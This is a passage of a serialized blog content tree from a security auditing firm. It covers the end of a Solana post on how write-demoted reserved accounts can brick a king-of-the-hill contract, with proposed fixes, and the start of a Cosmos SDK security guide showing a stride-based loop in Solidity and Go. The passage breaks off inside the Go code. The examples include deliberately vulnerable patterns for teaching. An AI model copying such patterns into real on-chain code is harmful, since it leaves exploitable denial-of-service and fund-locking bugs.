alue":74854},{"type":22,"tag":101,"props":78829,"children":78830},{"style":166},[78831],{"type":27,"value":169},{"type":22,"tag":101,"props":78833,"children":78834},{"style":114},[78835],{"type":27,"value":27081},{"type":22,"tag":101,"props":78837,"children":78838},{"style":120},[78839],{"type":27,"value":26910},{"type":22,"tag":101,"props":78841,"children":78842},{"style":114},[78843],{"type":27,"value":26915},{"type":22,"tag":101,"props":78845,"children":78846},{"style":120},[78847],{"type":27,"value":758},{"type":22,"tag":101,"props":78849,"children":78850},{"style":114},[78851],{"type":27,"value":74879},{"type":22,"tag":101,"props":78853,"children":78854},{"style":120},[78855],{"type":27,"value":343},{"type":22,"tag":101,"props":78857,"children":78858},{"class":103,"line":398},[78859],{"type":22,"tag":101,"props":78860,"children":78861},{"emptyLinePlaceholder":15},[78862],{"type":27,"value":1581},{"type":22,"tag":101,"props":78864,"children":78865},{"class":103,"line":428},[78866,78870,78874,78878,78882,78886,78890,78894,78898,78902,78906],{"type":22,"tag":101,"props":78867,"children":78868},{"style":120},[78869],{"type":27,"value":27116},{"type":22,"tag":101,"props":78871,"children":78872},{"style":108},[78873],{"type":27,"value":7760},{"type":22,"tag":101,"props":78875,"children":78876},{"style":120},[78877],{"type":27,"value":74914},{"type":22,"tag":101,"props":78879,"children":78880},{"style":166},[78881],{"type":27,"value":1511},{"type":22,"tag":101,"props":78883,"children":78884},{"style":120},[78885],{"type":27,"value":74923},{"type":22,"tag":101,"props":78887,"children":78888},{"style":166},[78889],{"type":27,"value":231},{"type":22,"tag":101,"props":78891,"children":78892},{"style":120},[78893],{"type":27,"value":74932},{"type":22,"tag":101,"props":78895,"children":78896},{"style":166},[78897],{"type":27,"value":4340},{"type":22,"tag":101,"props":78899,"children":78900},{"style":120},[78901],{"type":27,"value":74854},{"type":22,"tag":101,"props":78903,"children":78904},{"style":166},[78905],{"type":27,"value":231},{"type":22,"tag":101,"props":78907,"children":78908},{"style":120},[78909],{"type":27,"value":74949},{"type":22,"tag":101,"props":78911,"children":78912},{"class":103,"line":997},[78913,78917,78921,78925,78929,78933,78937],{"type":22,"tag":101,"props":78914,"children":78915},{"style":108},[78916],{"type":27,"value":24830},{"type":22,"tag":101,"props":78918,"children":78919},{"style":126},[78920],{"type":27,"value":74923},{"type":22,"tag":101,"props":78922,"children":78923},{"style":166},[78924],{"type":27,"value":169},{"type":22,"tag":101,"props":78926,"children":78927},{"style":114},[78928],{"type":27,"value":29396},{"type":22,"tag":101,"props":78930,"children":78931},{"style":120},[78932],{"type":27,"value":26910},{"type":22,"tag":101,"props":78934,"children":78935},{"style":114},[78936],{"type":27,"value":26915},{"type":22,"tag":101,"props":78938,"children":78939},{"style":120},[78940],{"type":27,"value":343},{"type":22,"tag":101,"props":78942,"children":78943},{"class":103,"line":1032},[78944],{"type":22,"tag":101,"props":78945,"children":78946},{"emptyLinePlaceholder":15},[78947],{"type":27,"value":1581},{"type":22,"tag":101,"props":78949,"children":78950},{"class":103,"line":1063},[78951,78955,78959],{"type":22,"tag":101,"props":78952,"children":78953},{"style":120},[78954],{"type":27,"value":27116},{"type":22,"tag":101,"props":78956,"children":78957},{"style":108},[78958],{"type":27,"value":7760},{"type":22,"tag":101,"props":78960,"children":78961},{"style":120},[78962],{"type":27,"value":24250},{"type":22,"tag":101,"props":78964,"children":78965},{"class":103,"line":1071},[78966,78970,78974,78978,78982,78986,78990],{"type":22,"tag":101,"props":78967,"children":78968},{"style":108},[78969],{"type":27,"value":24830},{"type":22,"tag":101,"props":78971,"children":78972},{"style":126},[78973],{"type":27,"value":75022},{"type":22,"tag":101,"props":78975,"children":78976},{"style":166},[78977],{"type":27,"value":169},{"type":22,"tag":101,"props":78979,"children":78980},{"style":114},[78981],{"type":27,"value":29396},{"type":22,"tag":101,"props":78983,"children":78984},{"style":120},[78985],{"type":27,"value":26910},{"type":22,"tag":101,"props":78987,"children":78988},{"style":114},[78989],{"type":27,"value":26915},{"type":22,"tag":101,"props":78991,"children":78992},{"style":120},[78993],{"type":27,"value":343},{"type":22,"tag":101,"props":78995,"children":78996},{"class":103,"line":1110},[78997],{"type":22,"tag":101,"props":78998,"children":78999},{"emptyLinePlaceholder":15},[79000],{"type":27,"value":1581},{"type":22,"tag":101,"props":79002,"children":79003},{"class":103,"line":1118},[79004,79008,79012],{"type":22,"tag":101,"props":79005,"children":79006},{"style":120},[79007],{"type":27,"value":27116},{"type":22,"tag":101,"props":79009,"children":79010},{"style":108},[79011],{"type":27,"value":7760},{"type":22,"tag":101,"props":79013,"children":79014},{"style":120},[79015],{"type":27,"value":24250},{"type":22,"tag":101,"props":79017,"children":79018},{"class":103,"line":1158},[79019,79023,79027,79031,79035,79039,79043],{"type":22,"tag":101,"props":79020,"children":79021},{"style":108},[79022],{"type":27,"value":24830},{"type":22,"tag":101,"props":79024,"children":79025},{"style":126},[79026],{"type":27,"value":46236},{"type":22,"tag":101,"props":79028,"children":79029},{"style":166},[79030],{"type":27,"value":169},{"type":22,"tag":101,"props":79032,"children":79033},{"style":114},[79034],{"type":27,"value":27145},{"type":22,"tag":101,"props":79036,"children":79037},{"style":120},[79038],{"type":27,"value":26910},{"type":22,"tag":101,"props":79040,"children":79041},{"style":114},[79042],{"type":27,"value":26915},{"type":22,"tag":101,"props":79044,"children":79045},{"style":120},[79046],{"type":27,"value":343},{"type":22,"tag":101,"props":79048,"children":79049},{"class":103,"line":1166},[79050],{"type":22,"tag":101,"props":79051,"children":79052},{"style":120},[79053],{"type":27,"value":188},{"type":22,"tag":23,"props":79055,"children":79056},{},[79057,79059,79065,79067,79073],{"type":27,"value":79058},"This works fine — until one day, ",{"type":22,"tag":30,"props":79060,"children":79062},{"className":79061},[],[79063],{"type":27,"value":79064},"old_king",{"type":27,"value":79066}," is silently demoted. Suddenly, the ",{"type":22,"tag":30,"props":79068,"children":79070},{"className":79069},[],[79071],{"type":27,"value":79072},"#[account(mut)]",{"type":27,"value":79074}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":22,"tag":22883,"props":79076,"children":79078},{"id":79077},"real-world-example-write-demotion-with-secp256r1_program",[79079,79081],{"type":27,"value":79080},"Real-World Example: Write-Demotion with ",{"type":22,"tag":30,"props":79082,"children":79084},{"className":79083},[],[79085],{"type":27,"value":79086},"secp256r1_program",{"type":22,"tag":23,"props":79088,"children":79089},{},[79090,79092,79097],{"type":27,"value":79091},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":22,"tag":30,"props":79093,"children":79095},{"className":79094},[],[79096],{"type":27,"value":79086},{"type":27,"value":79098},", a precompiled program gated behind a feature flag:",{"type":22,"tag":91,"props":79100,"children":79102},{"className":93,"code":79101,"language":95,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[79103],{"type":22,"tag":30,"props":79104,"children":79105},{"__ignoreMap":7},[79106,79127,79147,79176],{"type":22,"tag":101,"props":79107,"children":79108},{"class":103,"line":104},[79109,79114,79118,79123],{"type":22,"tag":101,"props":79110,"children":79111},{"style":114},[79112],{"type":27,"value":79113},"ReservedAccount",{"type":22,"tag":101,"props":79115,"children":79116},{"style":166},[79117],{"type":27,"value":970},{"type":22,"tag":101,"props":79119,"children":79120},{"style":926},[79121],{"type":27,"value":79122},"new_pending",{"type":22,"tag":101,"props":79124,"children":79125},{"style":120},[79126],{"type":27,"value":1850},{"type":22,"tag":101,"props":79128,"children":79129},{"class":103,"line":157},[79130,79135,79139,79143],{"type":22,"tag":101,"props":79131,"children":79132},{"style":120},[79133],{"type":27,"value":79134}," secp256r1_program",{"type":22,"tag":101,"props":79136,"children":79137},{"style":166},[79138],{"type":27,"value":970},{"type":22,"tag":101,"props":79140,"children":79141},{"style":926},[79142],{"type":27,"value":7521},{"type":22,"tag":101,"props":79144,"children":79145},{"style":120},[79146],{"type":27,"value":7526},{"type":22,"tag":101,"props":79148,"children":79149},{"class":103,"line":182},[79150,79155,79159,79164,79168,79172],{"type":22,"tag":101,"props":79151,"children":79152},{"style":120},[79153],{"type":27,"value":79154}," feature_set",{"type":22,"tag":101,"props":79156,"children":79157},{"style":166},[79158],{"type":27,"value":970},{"type":22,"tag":101,"props":79160,"children":79161},{"style":120},[79162],{"type":27,"value":79163},"enable_secp256r1_precompile",{"type":22,"tag":101,"props":79165,"children":79166},{"style":166},[79167],{"type":27,"value":970},{"type":22,"tag":101,"props":79169,"children":79170},{"style":926},[79171],{"type":27,"value":7521},{"type":22,"tag":101,"props":79173,"children":79174},{"style":120},[79175],{"type":27,"value":7526},{"type":22,"tag":101,"props":79177,"children":79178},{"class":103,"line":367},[79179],{"type":22,"tag":101,"props":79180,"children":79181},{"style":120},[79182],{"type":27,"value":2510},{"type":22,"tag":23,"props":79184,"children":79185},{},[79186,79188,79193,79195,79201],{"type":27,"value":79187},"Before the ",{"type":22,"tag":30,"props":79189,"children":79191},{"className":79190},[],[79192],{"type":27,"value":79163},{"type":27,"value":79194}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":22,"tag":30,"props":79196,"children":79198},{"className":79197},[],[79199],{"type":27,"value":79200},"secp256r1_program::id()",{"type":27,"value":79202}," as the king in a contract.",{"type":22,"tag":23,"props":79204,"children":79205},{},[79206,79208,79213],{"type":27,"value":79207},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":22,"tag":30,"props":79209,"children":79211},{"className":79210},[],[79212],{"type":27,"value":79200},{"type":27,"value":79214}," becomes the eternal king, and no one can dethrone it.",{"type":22,"tag":22883,"props":79216,"children":79218},{"id":79217},"fix-3-preventing-write-demotion-pitfalls",[79219],{"type":27,"value":79220},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":22,"tag":23,"props":79222,"children":79223},{},[79224,79226,79231],{"type":27,"value":79225},"Alright, let’s try to fix this ",{"type":22,"tag":6961,"props":79227,"children":79228},{},[79229],{"type":27,"value":79230},"yet another",{"type":27,"value":79232}," edge case — and hopefully close the book on it.",{"type":22,"tag":22883,"props":79234,"children":79236},{"id":79235},"attempt-1-block-known-reserved-accounts",[79237],{"type":27,"value":79238},"Attempt 1: Block Known Reserved Accounts",{"type":22,"tag":23,"props":79240,"children":79241},{},[79242],{"type":27,"value":79243},"One naive solution is to reject any known reserved account, for example:",{"type":22,"tag":91,"props":79245,"children":79247},{"className":44355,"code":79246,"language":44357,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[79248],{"type":22,"tag":30,"props":79249,"children":79250},{"__ignoreMap":7},[79251,79259],{"type":22,"tag":101,"props":79252,"children":79253},{"class":103,"line":104},[79254],{"type":22,"tag":101,"props":79255,"children":79256},{"style":120},[79257],{"type":27,"value":79258}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":22,"tag":101,"props":79260,"children":79261},{"class":103,"line":157},[79262],{"type":22,"tag":101,"props":79263,"children":79264},{"style":1544},[79265],{"type":27,"value":79266},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":22,"tag":23,"props":79268,"children":79269},{},[79270,79272,79277],{"type":27,"value":79271},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":22,"tag":30,"props":79273,"children":79275},{"className":79274},[],[79276],{"type":27,"value":79113},{"type":27,"value":79278}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":22,"tag":22883,"props":79280,"children":79282},{"id":79281},"attempt-2-use-a-pda-vault",[79283],{"type":27,"value":79284},"Attempt 2: Use a PDA Vault",{"type":22,"tag":23,"props":79286,"children":79287},{},[79288,79290,79295],{"type":27,"value":79289},"A more future-proof fix is to avoid ",{"type":22,"tag":9370,"props":79291,"children":79292},{},[79293],{"type":27,"value":79294},"transferring lamports to arbitrary accounts",{"type":27,"value":79296}," altogether.",{"type":22,"tag":23,"props":79298,"children":79299},{},[79300],{"type":27,"value":79301},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":22,"tag":53,"props":79303,"children":79305},{"id":79304},"final-thoughts",[79306],{"type":27,"value":79307},"Final Thoughts",{"type":22,"tag":23,"props":79309,"children":79310},{},[79311],{"type":27,"value":79312},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":22,"tag":23,"props":79314,"children":79315},{},[79316],{"type":27,"value":79317},"We can safely transfer lamports to an account under the following conditions:",{"type":22,"tag":6839,"props":79319,"children":79320},{},[79321,79326,79331],{"type":22,"tag":6832,"props":79322,"children":79323},{},[79324],{"type":27,"value":79325},"It's not executable.",{"type":22,"tag":6832,"props":79327,"children":79328},{},[79329],{"type":27,"value":79330},"Its balance, after the transfer, remains rent-exempt.",{"type":22,"tag":6832,"props":79332,"children":79333},{},[79334],{"type":27,"value":79335},"It's not a reserved account.",{"type":22,"tag":23,"props":79337,"children":79338},{},[79339],{"type":27,"value":79340},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":22,"tag":6891,"props":79342,"children":79343},{},[79344],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":79346},[79347,79348,79349,79355],{"id":33014,"depth":157,"text":33017},{"id":74729,"depth":157,"text":74732},{"id":75836,"depth":157,"text":75839,"children":79350},[79351,79352,79354],{"id":75842,"depth":182,"text":75845},{"id":76529,"depth":182,"text":79353},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":77834,"depth":182,"text":77837},{"id":79304,"depth":157,"text":79307},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":79360,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":79361,"description":79362,"date":79363,"author":79364,"image":79365,"isFeatured":15,"onBlogPage":15,"tags":79367,"body":79370,"_type":6912,"_id":93255,"_source":6914,"_file":93256,"_stem":93257,"_extension":6917},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":79366,"width":17626,"height":17626},"/posts/cosmos-security/title.png",[79368,79369],"cosmos-sdk","security",{"type":19,"children":79371,"toc":93233},[79372,79376,79381,79386,79392,79397,79402,79407,79668,80157,80176,80181,80186,80191,80197,80202,80237,80247,80754,80774,80787,80793,80798,80803,81044,81049,81057,81069,81431,81436,81441,81477,81486,81912,81933,81939,81959,81980,81999,82031,82043,82055,82709,82737,82746,83186,83213,83233,83238,83259,83308,83317,84549,84577,84583,84588,84593,84613,84900,84934,85115,85120,85125,85169,85178,86370,86621,86634,86640,86674,86679,86742,86747,86767,86786,86798,86817,87509,87514,87519,87547,87556,88441,88468,88474,88494,88499,88512,88686,88699,88790,88795,88803,88813,88963,88968,88988,88996,89001,89399,89411,89416,89457,89468,89488,89796,89801,90726,90738,90746,90751,91744,91749,91761,91781,91800,92714,92771,92877,92889,92894,92899,92927,92936,93162,93188,93201,93215,93219,93224,93229],{"type":22,"tag":53,"props":79373,"children":79374},{"id":33014},[79375],{"type":27,"value":33017},{"type":22,"tag":23,"props":79377,"children":79378},{},[79379],{"type":27,"value":79380},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":22,"tag":23,"props":79382,"children":79383},{},[79384],{"type":27,"value":79385},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":22,"tag":53,"props":79387,"children":79389},{"id":79388},"its-loopin-time",[79390],{"type":27,"value":79391},"It's Loopin' Time",{"type":22,"tag":23,"props":79393,"children":79394},{},[79395],{"type":27,"value":79396},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":22,"tag":23,"props":79398,"children":79399},{},[79400],{"type":27,"value":79401},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":22,"tag":23,"props":79403,"children":79404},{},[79405],{"type":27,"value":79406},"Here is a simple example for reference:",{"type":22,"tag":91,"props":79408,"children":79410},{"code":79409,"language":8519,"meta":7,"className":8520,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[79411],{"type":22,"tag":30,"props":79412,"children":79413},{"__ignoreMap":7},[79414,79430,79447,79463,79485,79514,79535,79559,79580,79587,79608,79625,79642,79649,79661],{"type":22,"tag":101,"props":79415,"children":79416},{"class":103,"line":104},[79417,79421,79426],{"type":22,"tag":101,"props":79418,"children":79419},{"style":108},[79420],{"type":27,"value":35373},{"type":22,"tag":101,"props":79422,"children":79423},{"style":926},[79424],{"type":27,"value":79425}," sumWithStride",{"type":22,"tag":101,"props":79427,"children":79428},{"style":120},[79429],{"type":27,"value":1850},{"type":22,"tag":101,"props":79431,"children":79432},{"class":103,"line":157},[79433,79438,79443],{"type":22,"tag":101,"props":79434,"children":79435},{"style":114},[79436],{"type":27,"value":79437}," uint64",{"type":22,"tag":101,"props":79439,"children":79440},{"style":126},[79441],{"type":27,"value":79442}," start",{"type":22,"tag":101,"props":79444,"children":79445},{"style":120},[79446],{"type":27,"value":179},{"type":22,"tag":101,"props":79448,"children":79449},{"class":103,"line":182},[79450,79454,79459],{"type":22,"tag":101,"props":79451,"children":79452},{"style":114},[79453],{"type":27,"value":79437},{"type":22,"tag":101,"props":79455,"children":79456},{"style":126},[79457],{"type":27,"value":79458}," stride",{"type":22,"tag":101,"props":79460,"children":79461},{"style":120},[79462],{"type":27,"value":179},{"type":22,"tag":101,"props":79464,"children":79465},{"class":103,"line":367},[79466,79470,79475,79480],{"type":22,"tag":101,"props":79467,"children":79468},{"style":114},[79469],{"type":27,"value":79437},{"type":22,"tag":101,"props":79471,"children":79472},{"style":120},[79473],{"type":27,"value":79474},"[] ",{"type":22,"tag":101,"props":79476,"children":79477},{"style":108},[79478],{"type":27,"value":79479},"memory",{"type":22,"tag":101,"props":79481,"children":79482},{"style":126},[79483],{"type":27,"value":79484}," arr\n",{"type":22,"tag":101,"props":79486,"children":79487},{"class":103,"line":398},[79488,79492,79496,79501,79505,79510],{"type":22,"tag":101,"props":79489,"children":79490},{"style":120},[79491],{"type":27,"value":901},{"type":22,"tag":101,"props":79493,"children":79494},{"style":108},[79495],{"type":27,"value":821},{"type":22,"tag":101,"props":79497,"children":79498},{"style":3595},[79499],{"type":27,"value":79500}," returns",{"type":22,"tag":101,"props":79502,"children":79503},{"style":120},[79504],{"type":27,"value":3603},{"type":22,"tag":101,"props":79506,"children":79507},{"style":114},[79508],{"type":27,"value":79509},"uint64",{"type":22,"tag":101,"props":79511,"children":79512},{"style":120},[79513],{"type":27,"value":1463},{"type":22,"tag":101,"props":79515,"children":79516},{"class":103,"line":428},[79517,79521,79526,79530],{"type":22,"tag":101,"props":79518,"children":79519},{"style":114},[79520],{"type":27,"value":79437},{"type":22,"tag":101,"props":79522,"children":79523},{"style":120},[79524],{"type":27,"value":79525}," idx ",{"type":22,"tag":101,"props":79527,"children":79528},{"style":166},[79529],{"type":27,"value":1511},{"type":22,"tag":101,"props":79531,"children":79532},{"style":120},[79533],{"type":27,"value":79534}," start;\n",{"type":22,"tag":101,"props":79536,"children":79537},{"class":103,"line":997},[79538,79542,79547,79551,79555],{"type":22,"tag":101,"props":79539,"children":79540},{"style":114},[79541],{"type":27,"value":79437},{"type":22,"tag":101,"props":79543,"children":79544},{"style":120},[79545],{"type":27,"value":79546}," sum ",{"type":22,"tag":101,"props":79548,"children":79549},{"style":166},[79550],{"type":27,"value":1511},{"type":22,"tag":101,"props":79552,"children":79553},{"style":1544},[79554],{"type":27,"value":1547},{"type":22,"tag":101,"props":79556,"children":79557},{"style":120},[79558],{"type":27,"value":1520},{"type":22,"tag":101,"props":79560,"children":79561},{"class":103,"line":1032},[79562,79566,79571,79575],{"type":22,"tag":101,"props":79563,"children":79564},{"style":114},[79565],{"type":27,"value":79437},{"type":22,"tag":101,"props":79567,"children":79568},{"style":120},[79569],{"type":27,"value":79570}," end ",{"type":22,"tag":101,"props":79572,"children":79573},{"style":166},[79574],{"type":27,"value":1511},{"type":22,"tag":101,"props":79576,"children":79577},{"style":120},[79578],{"type":27,"value":79579}," arr.length;\n",{"type":22,"tag":101,"props":79581,"children":79582},{"class":103,"line":1063},[79583],{"type":22,"tag":101,"props":79584,"children":79585},{"emptyLinePlaceholder":15},[79586],{"type":27,"value":1581},{"type":22,"tag":101,"props":79588,"children":79589},{"class":103,"line":1071},[79590,79594,79599,79603],{"type":22,"tag":101,"props":79591,"children":79592},{"style":3595},[79593],{"type":27,"value":3598},{"type":22,"tag":101,"props":79595,"children":79596},{"style":120},[79597],{"type":27,"value":79598}," (idx ",{"type":22,"tag":101,"props":79600,"children":79601},{"style":166},[79602],{"type":27,"value":123},{"type":22,"tag":101,"props":79604,"children":79605},{"style":120},[79606],{"type":27,"value":79607}," end) {\n",{"type":22,"tag":101,"props":79609,"children":79610},{"class":103,"line":1110},[79611,79616,79620],{"type":22,"tag":101,"props":79612,"children":79613},{"style":120},[79614],{"type":27,"value":79615}," sum ",{"type":22,"tag":101,"props":79617,"children":79618},{"style":166},[79619],{"type":27,"value":71942},{"type":22,"tag":101,"props":79621,"children":79622},{"style":120},[79623],{"type":27,"value":79624}," arr[idx];\n",{"type":22,"tag":101,"props":79626,"children":79627},{"class":103,"line":1118},[79628,79633,79637],{"type":22,"tag":101,"props":79629,"children":79630},{"style":120},[79631],{"type":27,"value":79632}," idx ",{"type":22,"tag":101,"props":79634,"children":79635},{"style":166},[79636],{"type":27,"value":71942},{"type":22,"tag":101,"props":79638,"children":79639},{"style":120},[79640],{"type":27,"value":79641}," stride;\n",{"type":22,"tag":101,"props":79643,"children":79644},{"class":103,"line":1158},[79645],{"type":22,"tag":101,"props":79646,"children":79647},{"style":120},[79648],{"type":27,"value":1734},{"type":22,"tag":101,"props":79650,"children":79651},{"class":103,"line":1166},[79652,79656],{"type":22,"tag":101,"props":79653,"children":79654},{"style":3595},[79655],{"type":27,"value":20986},{"type":22,"tag":101,"props":79657,"children":79658},{"style":120},[79659],{"type":27,"value":79660}," sum;\n",{"type":22,"tag":101,"props":79662,"children":79663},{"class":103,"line":1215},[79664],{"type":22,"tag":101,"props":79665,"children":79666},{"style":120},[79667],{"type":27,"value":188},{"type":22,"tag":91,"props":79669,"children":79673},{"code":79670,"language":79671,"meta":7,"className":79672,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[79674],{"type":22,"tag":30,"props":79675,"children":79676},{"__ignoreMap":7},[79677,79697,79710,79722,79740,79747,79754,79774,79786,79793,79800,79835,79861,79882,79911,79941,79986,80063,80099,80106,80150],{"type":22,"tag":101,"props":79678,"children":79679},{"class":103,"line":104},[79680,79684,79689,79693],{"type":22,"tag":101,"props":79681,"children":79682},{"style":108},[79683],{"type":27,"value":36752},{"type":22,"tag":101,"props":79685,"children":79686},{"style":114},[79687],{"type":27,"value":79688}," MsgSumWithStrideParams",{"type":22,"tag":101,"props":79690,"children":79691},{"style":108},[79692],{"type":27,"value":25138},{"type":22,"tag":101,"props":79694,"children":79695},{"style":120},[79696],{"type":27,"value":154},{"type":22,"tag":101,"props":79698,"children":79699},{"class":103,"line":157},[79700,79705],{"type":22,"tag":101,"props":79701,"children":79702},{"style":126},[79703],{"type":27,"value":79704}," Start",{"type":22,"tag":101,"props":79706,"children":79707},{"style":114},[79708],{"type":27,"value":79709}," uint64\n",{"type":22,"tag":101,"props":79711,"children":79712},{"class":103,"line":182},[79713,79718],{"type":22,"tag":101,"props":79714,"children":79715},{"style":126},[79716],{"type":27,"value":79717}," Stride",{"type":22,"tag":101,"props":79719,"children":79720},{"style":114},[79721],{"type":27,"value":79709},{"type":22,"tag":101,"props":79723,"children":79724},{"class":103,"line":367},[79725,79730,79735],{"type":22,"tag":101,"props":79726,"children":79727},{"style":126},[79728],{"type":27,"value":79729}," Arr",{"type":22,"tag":101,"props":79731,"children":79732},{"style":120},[79733],{"type":27,"value":79734}," []",{"type":22,"tag":101,"props":79736,"children":79737},{"style":114},[79738],{"type":27,"value":79739},"uint64\n",{"type":22,"tag":101,"props":79741,"children":79742},{"class":103,"line":398},[79743],{"type":22,"tag":101,"props":79744,"children":79745},{"style":120},[79746],{"type":27,"value":188},{"type":22,"tag":101,"props":79748,"children":79749},{"class":103,"line":428},[79750],{"type":22,"tag":101,"props":79751,"children":79752},{"emptyLinePlaceholder":15},[79753],{"type":27,"value":1581},{"type":22,"tag":101,"props":79755,"children":79756},{"class":103,"line":997},[79757,79761,79766,79770],{"type":22,"tag":101,"props":79758,"children":79759},{"style":108},[79760],{"type":27,"value":36752},{"type":22,"tag":101,"props":79762,"children":79763},{"style":114},[79764],{"type":27,"value":79765}," MsgSumWithStrideResponse",{"type":22,"tag":101,"props":79767,"children":79768},{"style":108},[79769],{"type":27,"value":25138},{"type":22,"tag":101,"props":79771,"children":79772},{"style":120},[79773],{"type":27,"value":154},{"type":22,"tag":101,"props":79775,"children":79776},{"class":103,"line":1032},[79777,79782],{"type":22,"tag":101,"props":79778,"children":79779},{"style":126},[79780],{"type":27,"value":79781}," Sum",{"type":22,"tag":101,"props":79783,"children":79784},{"style":114},[79785],{"type":27,"value":79709},{"type":22,"tag":101,"props":79787,"children":79788},{"class":103,"line":1063},[79789],{"type":22,"tag":101,"props":79790,"children":79791},{"style":120},[79792],{"type":27,"value":188},{"type":22,"tag":101,"props":79794,"children":79795},{"class":103,"line":1071},[79796],{"type":22,"tag":101,"props":79797,"children":79798},{"emptyLinePlaceholder":15},[79799],{"type":27,"value":1581},{"type":22,"tag":101,"props":79801,"children":79802},{"class":103,"line":1110},[79803,79808,79812,79817,79822,79826,79831],{"type":22,"tag":101,"props":79804,"children":79805},{"style":108},[79806],{"type":27,"value":79807},"func",{"type":22,"tag":101,"props":79809,"children":79810},{"style":120},[79811],{"type":27,"value":3603},{"type":22,"tag":101,"props":79813,"children":79814},{"style":126},[79815],{"type":27,"value":79816},"ms ",{"type":22,"tag":101,"props":79818,"children":79819},{"style":114},[79820],{"type":27,"value":79821},"msgServer",{"type":22,"tag":101,"props":79823,"children":79824},{"style":120},[79825],{"type":27,"value":901},{"type":22,"tag":101,"props":79827,"children":79828},{"style":926},[79829],{"type":27,"value":79830},"SumWithStride",{"type":22,"tag":101,"props":79832,"children":79833},{"style":120},[79834],{"type":27,"value":1850},{"type":22,"tag":101,"props":79836,"children":79837},{"class":103,"line":1118},[79838,79843,79848,79852,79857],{"type":22,"tag":101,"props":79839,"children":79840},{"style":126},[79841],{"type":27,"value":79842}," goCtx",{"type":22,"tag":101,"props":79844,"children":79845},{"style":114},[79846],{"type":27,"value":79847}," context",{"type":22,"tag":101,"props":79849,"children":79850},{"style":120},[79851],{"type":27,"value":231},{"type":22,"tag":101,"props":79853,"children":79854},{"style":114},[79855],{"type":27,"value":79856},"Context",{"type":22,"tag":101,"props":79858,"children":79859},{"style":120},[79860],{"type":27,"value":179},{"type":22,"tag":101,"props":79862,"children":79863},{"class":103,"line":1158},[79864,79869,79873,79878],{"type":22,"tag":101,"props":79865,"children":79866},{"style":126},[79867],{"type":27,"value":79868}," msg",{"type":22,"tag":101,"props":79870,"children":79871},{"style":166},[79872],{"type":27,"value":13822},{"type":22,"tag":101,"props":79874,"children":79875},{"style":114},[79876],{"type":27,"value":79877},"MsgSumWithStrideParams",{"type":22,"tag":101,"props":79879,"children":79880},{"style":120},[79881],{"type":27,"value":179},{"type":22,"tag":101,"props":79883,"children":79884},{"class":103,"line":1166},[79885,79890,79894,79899,79903,79907],{"type":22,"tag":101,"props":79886,"children":79887},{"style":120},[79888],{"type":27,"value":79889},") (",{"type":22,"tag":101,"props":79891,"children":79892},{"style":166},[79893],{"type":27,"value":8615},{"type":22,"tag":101,"props":79895,"children":79896},{"style":114},[79897],{"type":27,"value":79898},"MsgSumWithStrideResponse",{"type":22,"tag":101,"props":79900,"children":79901},{"style":120},[79902],{"type":27,"value":758},{"type":22,"tag":101,"props":79904,"children":79905},{"style":114},[79906],{"type":27,"value":18865},{"type":22,"tag":101,"props":79908,"children":79909},{"style":120},[79910],{"type":27,"value":1463},{"type":22,"tag":101,"props":79912,"children":79913},{"class":103,"line":1215},[79914,79919,79924,79929,79933,79937],{"type":22,"tag":101,"props":79915,"children":79916},{"style":126},[79917],{"type":27,"value":79918}," 